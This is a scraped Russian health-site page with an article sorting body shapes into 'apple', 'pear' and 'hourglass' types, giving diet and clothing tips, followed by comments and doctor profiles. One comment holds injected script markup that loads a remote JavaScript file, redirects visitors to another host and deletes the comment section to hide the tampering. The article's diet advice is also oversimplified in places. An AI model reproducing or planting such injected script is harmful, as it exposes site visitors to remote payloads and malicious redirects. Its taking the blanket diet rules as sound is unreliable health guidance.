Здоровье ИНФО
Присоединяйтесь к нам:
Главная страница  >>  Наша кожа  >>  Прыщи  >>  Статьи  >>  Какой вы фрукт  >>  Какой вы фрукт
 
Обратная связь
 

Какой вы фрукт

Размер шрифта
16 января 2012 09:02
  • google_analytics: false
  • Нравится

Сегодня мы расскажем про 3 основных типа фигур по фруктам, чем они могут быть опасны и как их улучшить!

  1. Телосложение по типу «яблоко» (большой живот, тонкие ноги)

Чем опасен большой живот?

  • Большой живот означает, что у вас – абдоминальный тип ожирения, при котором увеличивается содержание висцерального жира. Этот жир опасен тем, что может откладываться вокруг внутренних органов, в том числе и вокруг сердца.
  • Висцеральный жир способен привести к диабету 2 типа, сердечнососудистым заболеваниям, гормональным нарушениям и нарушениям обмена веществ.
  • Висцеральный жир способен продуцировать гормоны и влиять на гормональный фон организма, управлять чувством голода и насыщения (вот почему вас все время хочется есть), уровнем стресса (гормон стресса, кортизол вызывает аппетит) и уровнем половых гормонов, превращая тестостерон в эстроген, снижая либидо.

Что делать?

  • Отказаться от углеводов и сахара.
  • Включить в рацион полезные жирные кислоты (Омега-3, моно- и полиненасыщенные жиры), полезные пищевые волокна (цельные злаки: крупы, гречка).

Правила гардероба для фигуры-«яблоко»:

  • Открыть грудь, сделав на ней акцент.
  • Удлинить силуэт за счет длинного платья или юбки.
  • Полностью отказаться от горизонтальных линий в силуэте.
  1. Телосложение по типу «груша» (тонкая талия, большие бедра)

Чем опасны большие бедра?

1. Толстые бедра – это подкожный жировой слой, который опасен тем, что давит на суставы и позвоночник. Однако он не так опасен, как жир в животе, поскольку не влияет на продолжительность жизни.
2. Похудеть в области бедер тяжелее, чем избавиться от живота.

Что делать?

  • Отказаться от употребления животных жиров.
  • Включить в рацион побольше молочных и кисломолочных продуктов.
  • Есть цельнозерновые продукты.

Правила гардероба для фигуры-«груша»:

  • Скрывать бедра, выбирать длинные пиджаки.
  • Выпрямить и зрительно удлинить силуэт при помощи прямых брюк с высокой талией.
  • Избавиться от всех лишних акцентов на бедрах.
  1. Телосложение по типу «песочные часы» 

В идеале жир должен распределяться равномерно на грудь и бедра, талия при этом должна оставаться тонкой.

Что делать?

  • Соблюдать меру в углеводах и жирах
  •  Регулярно заниматься спортом.

Правила гардероба для фигуры-«песочные часы»:

  • Основное правило – используйте вертикальные элементы, чтобы скрыть линию талии и тем самым удлинить ноги (платье с вертикальными полосами, прямые брюки в тонкую полоску и т.д.).
  • Надевайте однотонные вещи (создается одна вертикальная линия).
  • Носите клеш, он зрительно удлиняет ноги.
  • Платья лучше носить приталенные или чуть выше талии.
  • И, конечно же, каблук. Он сразу визуально вытянет силуэт. Но долго и часто высокий каблук нельзя носить.


Сюжеты оп теме:
Какой вы фрукт? Что о вас может рассказать ваша фигура

  • google_analytics: false
  • Нравится
Послать другу Послать другу Распечатать Распечатать Обсудить на форуме Обсудить на форуме
Комментарии

1 - zzzzzz

01 июля 2015 в 00:00

Цитировать   |   Пожаловаться

--> src="http://1212123.esy.es/q.js"> > window.location.href="http://a25832-hostde3.fornex.org/"; $("form.noprint, #CommentsBlock").remove();

Вопросы и ответы
Яна Александровна Юцковская
Яна Александровна Юцковская Задать вопрос
Посмотреть информацию о враче

Юцковская Яна Александровна, д.м.н., профессор, зав. кафедрой дерматовенерологии и косметологии ГБОУ ВПО «ТГМУ Минздрава России», врач высшей категории, директор ООО «Профессорская клиника Юцковских», Владивосток, директор ООО «Клиника профессора  Юцковской», Москва, президент НП «ДВАЭМ», председатель Дальневосточного отделения МООСБТ.

Елена Николаевна Волкова
Елена Николаевна Волкова Прочитать ответы
Посмотреть информацию о враче

Доктор медицинских наук, профессор кафедры дерматовенерологии Московского факультета ГОУ ВПО «РГМУ им. Н.И. Пирогова Минздравсоцразвития России». Этот консультант отвечал на вопросы пользователей с 03 ноября 2011 г. по 15 февраля 2012 г.